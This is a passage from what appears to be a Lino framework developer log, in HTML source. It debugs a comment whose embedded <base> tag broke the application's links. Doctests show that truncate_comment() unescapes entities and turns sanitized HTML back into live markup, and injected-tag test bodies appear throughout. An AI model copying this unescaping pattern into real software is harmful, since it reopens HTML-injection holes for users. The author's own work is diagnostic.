&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;javascript&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;window&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;App&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;runAction&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;actorId&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;tickets.Tickets&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;an&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;detail&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;rp&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;status&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;record_id&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;5038&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="p"&gt;})&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;They won’t work in an empty window. But the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;&amp;lt;base&lt;/span&gt; &lt;span class="pre"&gt;href&amp;gt;&lt;/span&gt;&lt;/code&gt; tag was instructing
my browser to do exactly this: open a new target window for every link.&lt;/p&gt;
&lt;p&gt;I ran the following script to find the offending comment:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body__contains&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;base&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Output was a single line:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="mi"&gt;10922&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I wrote another script to fix the problem:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.api.shell&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;objects&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;id&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10922&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;head&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;amp;lt;head&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;base&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;amp;lt;base&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The only problem was that it didn’t fix the problem…&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino_book.projects.noi1e.startup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;But why doesn’t the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;body_short_preview&lt;/span&gt;&lt;/code&gt; field get adapted? To understand
this, I used the following doctest on my machine:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&amp;lt;p&amp;gt;foo &amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;base href=&amp;quot;bar&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;baz&amp;lt;/p&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body_short_preview&lt;/span&gt;    &lt;span class="c1"&gt;# (1)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo \n\nbaz\n\n&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body_full_preview&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;p&amp;gt;foo &amp;lt;html&amp;gt;&amp;lt;head&amp;gt;&amp;lt;base href=&amp;quot;bar&amp;quot; target=&amp;quot;_blank&amp;quot;/&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;baz&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;head&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;amp;lt;head&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;base&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;amp;lt;base&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body_short_preview&lt;/span&gt;    &lt;span class="c1"&gt;# (2)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;lt;head&amp;gt;&amp;lt;base href=&amp;quot;bar&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;gt;\n\nbaz\n\n&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body_full_preview&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;p&amp;gt;foo &amp;lt;html&amp;gt;&amp;amp;lt;head&amp;amp;gt;&amp;amp;lt;base href=&amp;quot;bar&amp;quot; target=&amp;quot;_blank&amp;quot;&amp;amp;gt;&amp;lt;body&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p&amp;gt;baz&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;delete&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;  &lt;span class="c1"&gt;# tidy up&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Notes&lt;/p&gt;
&lt;p&gt;(1) Where has the end tag (“&amp;lt;/head&amp;gt;”) gone? Answer: the memo parser removed it
when parsing the text via BeautifulSoup:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;foo &amp;amp;lt;head&amp;gt;bar&amp;lt;/head&amp;gt; baz&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;html.parser&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;amp;lt;head&amp;amp;gt;bar baz&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(2) Why does the full “&amp;lt;head&amp;gt;” reappear in the short preview? Because during
parse it was escaped and therefore wasn’t recognized as a HTML tag. And because
the short preview (currently, wrongly) contains the rendered un-escaped HTML.&lt;/p&gt;
&lt;p&gt;The wrong behaviour is in &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;truncate_comment()&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.modlib.memo.mixins&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;truncate_comment&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;short_preview_length&lt;/span&gt;
&lt;span class="go"&gt;300&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;p&amp;gt;foo &amp;amp;lt;head&amp;gt;bar&amp;lt;/head&amp;gt; baz&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SITE&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parser&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;&amp;lt;p&amp;gt;foo &amp;amp;lt;head&amp;amp;gt;bar baz&amp;lt;/p&amp;gt;&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;truncate_comment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;lt;head&amp;gt;bar baz\n\n&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The short and long preview field are expected to contain safe HTML content,  and
bleach is responsible for removing any unsafe content. But
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;truncate_comment()&lt;/span&gt;&lt;/code&gt; resolves html entities and therefore potentially
converts safe html into unsafe html.&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;truncate_comment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;p&amp;gt;foo &amp;amp;lt;head&amp;gt;bar&amp;lt;/head&amp;gt; baz&amp;lt;/p&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;lt;head&amp;gt;bar baz\n\n&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;section id="another-topic"&gt;
&lt;h2&gt;Another topic&lt;a class="headerlink" href="#another-topic" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Note that &lt;a class="reference external" href="https://dev.lino-framework.org/specs/notify.html#lino.modlib.notify.Message.send_summary_emails" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.notify.Message.send_summary_emails()&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; makes a special
action request with &lt;cite&gt;permalink_uris&lt;/cite&gt; set to &lt;cite&gt;True&lt;/cite&gt; when rendering the
notification body:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;memo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;front_end&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;permalink_uris&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Old stuff:&lt;/p&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;comments&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;foo &amp;lt;head&amp;gt;bar&amp;lt;/head&amp;gt; baz&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;lt;head&amp;gt;bar&amp;lt;/head&amp;gt; baz&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body_short_preview&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;lt;head&amp;gt;bar&amp;lt;/head&amp;gt; baz&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;lt;head&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;amp;lt;head&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;save&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;amp;lt;head&amp;gt;bar&amp;lt;/head&amp;gt; baz&amp;#39;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;body_short_preview&lt;/span&gt;
&lt;span class="go"&gt;&amp;#39;foo &amp;amp;lt;head&amp;amp;gt;bar baz&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="doctest highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;lt;p&amp;gt;A &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt; thing.&amp;quot;&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BeautifulSoup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;txt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;html.parser&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;descendants&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="go"&gt;[&amp;lt;p&amp;gt;A &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt; and &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt; thing.&amp;lt;/p&amp;gt;, &amp;#39;A &amp;#39;, &amp;lt;b&amp;gt;bold&amp;lt;/b&amp;gt;, &amp;#39;bold&amp;#39;, &amp;#39; and &amp;#39;, &amp;lt;i&amp;gt;italic&amp;lt;/i&amp;gt;, &amp;#39;italic&amp;#39;, &amp;#39; thing.&amp;#39;]&lt;/span&gt;
&lt;span class="gp"&gt;&amp;gt;&amp;gt;&amp;gt; &lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;
